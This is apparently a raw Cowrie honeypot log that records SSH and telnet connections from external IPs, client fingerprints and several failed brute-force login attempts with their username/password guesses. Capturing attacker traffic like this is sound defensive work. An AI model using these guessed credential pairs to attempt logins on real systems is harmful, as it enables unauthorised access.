{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45028,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c3be125197a","protocol":"telnet","message":"New connection: 152.42.224.71:45028 (10.17.0.5:23) [session: 6c3be125197a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:47.018927Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:47.082990Z","src_ip":"43.153.85.27","session":"b4b4a11f22ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1","message":"login attempt [admin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:47.391929Z","src_ip":"43.153.85.27","session":"b4b4a11f22ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:48.505005Z","src_ip":"43.153.85.27","session":"b4b4a11f22ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":54046,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a0def3f220","protocol":"ssh","message":"New connection: 49.51.200.156:54046 (10.17.0.5:22) [session: d8a0def3f220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:52.929351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:52.934203Z","src_ip":"49.51.200.156","session":"d8a0def3f220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:53.052848Z","src_ip":"49.51.200.156","session":"d8a0def3f220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2023","message":"login attempt [root/P@ssw0rd2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:53.563054Z","src_ip":"49.51.200.156","session":"d8a0def3f220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:46:54.711599Z","src_ip":"49.51.200.156","session":"d8a0def3f220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51958,"dst_ip":"10.17.0.5","dst_port":23,"session":"839dd24d6c4a","protocol":"telnet","message":"New connection: 152.42.224.71:51958 (10.17.0.5:23) [session: 839dd24d6c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:03.611432Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":46924,"dst_ip":"159.203.135.109","dst_port":22,"session":"897f1e3574ac","protocol":"ssh","message":"New connection: 38.93.206.2:46924 (159.203.135.109:22) [session: 897f1e3574ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:04.245908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:04.250999Z","src_ip":"38.93.206.2","session":"897f1e3574ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:04.303802Z","src_ip":"38.93.206.2","session":"897f1e3574ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345a","message":"login attempt [root/a12345a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:04.546906Z","src_ip":"38.93.206.2","session":"897f1e3574ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:05.600332Z","src_ip":"38.93.206.2","session":"897f1e3574ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42300,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f14e53b9af8","protocol":"telnet","message":"New connection: 152.42.224.71:42300 (10.17.0.5:23) [session: 3f14e53b9af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:08.815141Z"}
{"eventid":"cowrie.session.closed","duration":42.56725788116455,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:15.081685Z","src_ip":"152.42.224.71","session":"60f6e5f06e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.878719329833984,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:24.842825Z","src_ip":"152.42.224.71","session":"5888c335c6e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":51496,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc7a9985bb8","protocol":"ssh","message":"New connection: 185.242.234.173:51496 (10.17.0.5:22) [session: 1bc7a9985bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:25.244399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:25.249882Z","src_ip":"185.242.234.173","session":"1bc7a9985bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:26.761754Z","src_ip":"185.242.234.173","session":"1bc7a9985bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operador","password":"operador","message":"login attempt [operador/operador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:27.375953Z","src_ip":"185.242.234.173","session":"1bc7a9985bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:28.585321Z","src_ip":"185.242.234.173","session":"1bc7a9985bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32790,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33044cdc545","protocol":"telnet","message":"New connection: 152.42.224.71:32790 (10.17.0.5:23) [session: b33044cdc545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:28.731824Z"}
{"eventid":"cowrie.session.closed","duration":32.024078607559204,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:35.635380Z","src_ip":"152.42.224.71","session":"839dd24d6c4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52268,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad24b9e1b46b","protocol":"ssh","message":"New connection: 103.172.78.219:52268 (10.17.0.5:22) [session: ad24b9e1b46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:37.461612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:37.465980Z","src_ip":"103.172.78.219","session":"ad24b9e1b46b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:37.719792Z","src_ip":"103.172.78.219","session":"ad24b9e1b46b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oliver","message":"login attempt [root/oliver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:38.481215Z","src_ip":"103.172.78.219","session":"ad24b9e1b46b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55886,"dst_ip":"10.17.0.5","dst_port":23,"session":"448129153e20","protocol":"telnet","message":"New connection: 152.42.224.71:55886 (10.17.0.5:23) [session: 448129153e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:39.051099Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:39.737903Z","src_ip":"103.172.78.219","session":"ad24b9e1b46b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50978,"dst_ip":"10.17.0.5","dst_port":22,"session":"f32b243afda7","protocol":"ssh","message":"New connection: 193.32.162.145:50978 (10.17.0.5:22) [session: f32b243afda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:46.637858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:46.642780Z","src_ip":"193.32.162.145","session":"f32b243afda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:46.736807Z","src_ip":"193.32.162.145","session":"f32b243afda7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:47.127756Z","src_ip":"193.32.162.145","session":"f32b243afda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:48.254824Z","src_ip":"193.32.162.145","session":"f32b243afda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.87279391288757,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:47:48.891642Z","src_ip":"152.42.224.71","session":"6c3be125197a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":50462,"dst_ip":"10.17.0.5","dst_port":22,"session":"959451975f31","protocol":"ssh","message":"New connection: 43.153.85.27:50462 (10.17.0.5:22) [session: 959451975f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:01.241836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:01.248477Z","src_ip":"43.153.85.27","session":"959451975f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:01.326415Z","src_ip":"43.153.85.27","session":"959451975f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testtest","message":"login attempt [ubuntu/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:01.635523Z","src_ip":"43.153.85.27","session":"959451975f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:02.713214Z","src_ip":"43.153.85.27","session":"959451975f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":39608,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bef1a3a171f","protocol":"ssh","message":"New connection: 45.117.179.232:39608 (10.17.0.5:22) [session: 7bef1a3a171f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:09.215446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:09.220398Z","src_ip":"45.117.179.232","session":"7bef1a3a171f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:09.475174Z","src_ip":"45.117.179.232","session":"7bef1a3a171f","protocol":"ssh"}
